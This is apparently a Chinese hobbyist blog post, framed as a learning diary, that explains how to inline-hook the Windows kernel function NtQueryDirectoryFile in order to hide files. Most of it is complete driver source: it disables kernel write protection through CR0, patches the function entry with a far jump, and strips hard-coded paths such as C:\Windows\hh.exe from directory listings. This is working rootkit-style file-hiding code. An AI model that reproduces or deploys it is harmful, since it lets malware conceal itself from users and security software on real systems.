Inline Hook NtQueryDirectoryFile
首先声明这个是菜鸟—我的学习日记,不是什么高深文章,高手们慎看.
都总是发一些已经过时的文章真不好意思,几个月以来沉迷于游戏也是时候反省了,我真的几个月没写博客了,怎么办~怎么办~我要补充自己的博客,但真想不到写什么了,唯有将自己以前写的一些Demo写上来.
当初我其实是不会这样做的,看了一篇关于"怎么inline hook NtDeviceIoControlFile隐藏端口"的文章后有启发,于是自己试着用在隐藏文件这个函数上,忘记了这篇文章的出处,对作者深感抱歉.
l 原理分析
inline hook的原理相信已经为大家所知了,方法就有几种.
1. 原函数入口call之前改无条件跳到自己函数,处理数据,然后原函数改回正常,调用原函数,再改回原函数入口call之前改无条件跳到自己函数.(这样做操作繁复,调用频繁可能出错)
2. 就是我以下做的方法了.只要实现一次修改就可以了.
3. ……..还有更多的.
nt!NtQueryDirectoryFile: //这个函数入口的原来样子
80574515 8bff mov edi,edi
80574517 55 push ebp
80574518 8bec mov ebp,esp
8057451a 8d452c lea eax,[ebp+2Ch]
8057451d 50 push eax
8057451e 8d4528 lea eax,[ebp+28h]
80574521 50 push eax
80574522 8d4524 lea eax,[ebp+24h]
80574525 50 push eax
80574526 8d4520 lea eax,[ebp+20h]
80574529 50 push eax
8057452a 8d4530 lea eax,[ebp+30h]
8057452d 50 push eax
8057452e 6a01 push 1
80574530 ff7530 push dword ptr [ebp+30h]
80574533 ff752c push dword ptr [ebp+2Ch]
80574536 ff7528 push dword ptr [ebp+28h]
80574539 ff7524 push dword ptr [ebp+24h]
8057453c ff7520 push dword ptr [ebp+20h]
8057453f ff751c push dword ptr [ebp+1Ch]
80574542 ff7518 push dword ptr [ebp+18h]
80574545 ff7514 push dword ptr [ebp+14h]
80574548 ff7510 push dword ptr [ebp+10h]
8057454b ff750c push dword ptr [ebp+0Ch]
8057454e ff7508 push dword ptr [ebp+8]
80574551 e82bfdffff call nt!PsLookupProcessByProcessId+0x3f4 (80574281)
--------------------------------------------------------------------------------------------
nt!NtQueryDirectoryFile: //这个函数入口修改后的样子
……
80574542 ff7518 push dword ptr [ebp+18h]
80574545 ff7514 push dword ptr [ebp+14h]
80574548 ea1c3224f50800 jmp 0008:F524321C // 无条件跳自己的函数,其实这段可以写在
8057454b 90 nop // call前的任何地方,自己构建的函数要有
8057454e 90 nop // 相应的改动而已.
80574551 e82bfdffff call nt!PsLookupProcessByProcessId+0x3f4 (80574281)
--------------------------------------------------------------------------------------------
__declspec(naked) NTAPI
Detour_NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN ULONG ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN ULONG RestartScan)
{
__asm // 恢复好堆栈先
{
add esp,40
mov esp,ebp
pop ebp
push ebp
mov ebp,esp
pushad
}
__asm // 然后就模拟压栈
{
push RestartScan
push FileName
push ReturnSingleEntry
push FileInformationClass
push FileInformationLength
push FileInformation
push IoStatusBlock
push ApcContext
push ApcRoutine
push Event
push FileHandle
}
__asm
{
jmp forwArd
bAck:
}
__asm // 模拟函数入口的操作了
{
push ebp
mov ebp,esp
lea eax,[ebp+2Ch]
push eax
lea eax,[ebp+28h]
push eax
lea eax,[ebp+24h]
push eax
lea eax,[ebp+20h]
push eax
lea eax,[ebp+30h]
push eax
push 1
push dword ptr [ebp+30h]
push dword ptr [ebp+2Ch]
push dword ptr [ebp+28h]
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
_emit 0xEA // 用jmp far 跳回原来函数这个位置
_emit 0xFF
_emit 0xFF
_emit 0xFF
_emit 0xFF
_emit 0x08
_emit 0x00
}
__asm
{
forwArd:
call bAck // 调用原来的函数了,是不是很巧妙咧.
mov rc,eax // 结果放到rc中
}
l 关于怎么通过NtQueryDirectoryFile的一个HANDLE来取得文件的所在目录
这个问题我一直解决不了,怎么用全路径来判断需要隐藏的文件的,网上的资料都只是支持文件名来隐藏的,我好想做到,找了好多资料都找不到现成的代码,但看着是有些启发的.于是慢慢也有思路了.
1.有个调用ObReferenceObjectByHandle 可以通过HANDLE来取得PFILE_OBJECT.
2.既然有了PFILE_OBJECT就可以通过ObQueryNameString来取得POBJECT_NAME_INFORMATION,这里好做了,全路径就存放在这个POBJECT_NAME_INFORMATION ->Name.Buffer中了.
3.前面的PFILE_OBJECT已经没用了,别忘记好习惯清理调用ObDereferenceObject(这个是DDK说的).
4.但POBJECT_NAME_INFORMATION ->Name.Buffer并不象我们想象的路径"C:/Windows"那样的, "C:"只是一个连接符,实际的设备名称是"/Device/HarddiskVolume1",那么"C:/Windows"="/Device/HarddiskVolume1/Windows ".
5.现在就需要找出POBJECT_NAME_INFORMATION ->Name.Buffer对应的到底是那个连接符,因为"/Device/HarddiskVolume1"可能代表的是"D:",那么我这里就用了一种好没效率的方法来实现,如果大家有更好的方法请告诉我^-^.
6.我先构建一个UNICODE_STRING = L"//DosDevices//C:" 然后通过ZwOpenSymbolicLinkObject, ZwQuerySymbolicLinkObject来取得设备的名称UNICODE_STRING = L"//Device//HarddiskVolume1",然后如此类推由C到Z的一个循环.通过和POBJECT_NAME_INFORMATION ->Name.Buffer的前部分对比判断出到底是哪个连接符.最后记得用ZwClose释放调用产生的HANDLE.
7. POBJECT_NAME_INFORMATION ->Name.Buffer的后部分就是路径了.到这里思路都完成了.
以下是代码了.相信都比较清晰了.
//////////HideFile.c/////////////
#include "ntifs.h"
NTSTATUS rc;
ULONG bLastOne, iPos, iLeft;
PFILE_BOTH_DIR_INFORMATION pFileInfo, pLastFileInfo;
WCHAR *FileHide = L"C://Windows//Explorer.exe/0C://Windows//hh.exe";
WCHAR FileName[260];
WCHAR FileDirectory[1024];
char DetourCode[] = { 0xEA, 0xFF, 0xFF, 0xFF, 0xFF, 0x08, 0x00, 0x90, 0x90 };
char BackupCode[] = { 0xFF, 0x25, 0x00, 0x39, 0x55, 0x80, 0x90, 0x90, 0x90 };
ULONG ComparePathString(IN WCHAR *NameString, ULONG FileNameLength)
{
int Offer = 0;
while(FileHide[Offer])
{
if(wcslen(&FileHide[Offer]) == wcslen(FileDirectory) + FileNameLength/sizeof(WCHAR) + 1)
{
if( !_wcsnicmp(&FileHide[Offer], FileDirectory, wcslen(FileDirectory)) &&
!_wcsnicmp(&FileHide[Offer + wcslen(FileDirectory) + 1], NameString, FileNameLength/sizeof(WCHAR)) )
{
return 1;
}
}
Offer += wcslen(&FileHide[Offer]) + 1;
}
return 0;
}
VOID GetDosNameChar(IN HANDLE FileHandle)
{
PFILE_OBJECT pFileObject;
POBJECT_NAME_INFORMATION pObjectName;
ULONG ActualLength;
HANDLE LinkHandle;
WCHAR NameBuffer[64];
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING DeviceString, VolumeString;
ObReferenceObjectByHandle(FileHandle, FILE_READ_ACCESS, *IoFileObjectType, KernelMode, &pFileObject, 0);
pObjectName = (POBJECT_NAME_INFORMATION)ExAllocatePool(PagedPool, sizeof(OBJECT_NAME_INFORMATION) + 1024);
ObQueryNameString(pFileObject, pObjectName, sizeof(OBJECT_NAME_INFORMATION) + 1024, &ActualLength);
ObDereferenceObject(pFileObject);
RtlInitUnicodeString(&VolumeString, L"//DosDevices//C:");
InitializeObjectAttributes(&ObjectAttributes, &VolumeString, OBJ_KERNEL_HANDLE, NULL, NULL);
DeviceString.Buffer = NameBuffer;
DeviceString.MaximumLength = sizeof(NameBuffer);
for(VolumeString.Buffer[12] = 'C';VolumeString.Buffer[12] <= 'Z';VolumeString.Buffer[12]++)
{
RtlZeroMemory(NameBuffer, sizeof(NameBuffer));
ZwOpenSymbolicLinkObject(&LinkHandle, SYMBOLIC_LINK_QUERY, &ObjectAttributes);
ZwQuerySymbolicLinkObject(LinkHandle, &DeviceString, &ActualLength);
ZwClose(LinkHandle);
DbgPrint("%ws",DeviceString.Buffer);
if(RtlCompareMemory(pObjectName->Name.Buffer, DeviceString.Buffer, DeviceString.Length ) == DeviceString.Length)
{
RtlZeroMemory(FileDirectory, sizeof(FileDirectory));
RtlCopyMemory(FileDirectory, &VolumeString.Buffer[12], sizeof(WCHAR) * 2);
if(pObjectName->Name.Length - DeviceString.Length > 2)
RtlCopyMemory(&FileDirectory[2], &pObjectName->Name.Buffer[DeviceString.Length/2], pObjectName->Name.Length - DeviceString.Length);
break;
}
}
ExFreePool(pObjectName);
}
__declspec(naked) NTAPI
Detour_NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN ULONG ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN ULONG RestartScan)
{
__asm
{
add esp,40
mov esp,ebp
pop ebp
push ebp
mov ebp,esp
pushad
}
__asm
{
push RestartScan
push FileName
push ReturnSingleEntry
push FileInformationClass
push FileInformationLength
push FileInformation
push IoStatusBlock
push ApcContext
push ApcRoutine
push Event
push FileHandle
}
__asm
{
jmp forwArd
bAck:
}
__asm
{
push ebp
mov ebp,esp
lea eax,[ebp+2Ch]
push eax
lea eax,[ebp+28h]
push eax
lea eax,[ebp+24h]
push eax
lea eax,[ebp+20h]
push eax
lea eax,[ebp+30h]
push eax
push 1
push dword ptr [ebp+30h]
push dword ptr [ebp+2Ch]
push dword ptr [ebp+28h]
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
_emit 0xEA
_emit 0xFF
_emit 0xFF
_emit 0xFF
_emit 0xFF
_emit 0x08
_emit 0x00
}
__asm
{
forwArd:
call bAck
mov rc,eax
}
if( NT_SUCCESS(rc) && (FileInformationClass == FileBothDirectoryInformation) )
{
GetDosNameChar(FileHandle);
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation;
pLastFileInfo = NULL;
do
{
bLastOne = !(pFileInfo->NextEntryOffset);
if(ComparePathString(pFileInfo->FileName, pFileInfo->FileNameLength))
{
if(bLastOne)
{
if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformation )
{
rc = 0x80000006;
}
else
{
pLastFileInfo->NextEntryOffset = 0;
}
break;
}
else
{
iPos = (ULONG)pFileInfo - (ULONG)FileInformation;
iLeft = (ULONG)FileInformationLength - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), iLeft );
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
}while(!bLastOne);
}
__asm
{
popad
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
VOID InterruptEnable()
{
__asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
}
VOID InterruptDisable()
{
__asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
}
NTSTATUS DetourFunctionNtQueryDirectoryFile()
{
int i = 0;
while(++i)
{
if(!memcmp((unsigned char *)Detour_NtQueryDirectoryFile + i, &DetourCode[1], 4))
{
*( (unsigned long *)((unsigned char *)Detour_NtQueryDirectoryFile + i) ) = (unsignedlong)NtQueryDirectoryFile + 0x3C;
break;
}
}
*( (unsigned long *)(&DetourCode[1]) ) = (unsigned long)Detour_NtQueryDirectoryFile;
InterruptDisable();
memcpy(BackupCode, (unsigned char *)NtQueryDirectoryFile + 0x33, 9);
memcpy((unsigned char *)NtQueryDirectoryFile + 0x33, DetourCode, 9);
InterruptEnable();
return STATUS_SUCCESS;
}
VOID UnDetourFunctionNtQueryDirectoryFile()
{
InterruptDisable();
memcpy((unsigned char *)NtQueryDirectoryFile + 0x33, BackupCode, 9);
InterruptEnable();
}
VOID DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
UnDetourFunctionNtQueryDirectoryFile();
}
NTSTATUS DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload;
DetourFunctionNtQueryDirectoryFile();
return STATUS_SUCCESS;
}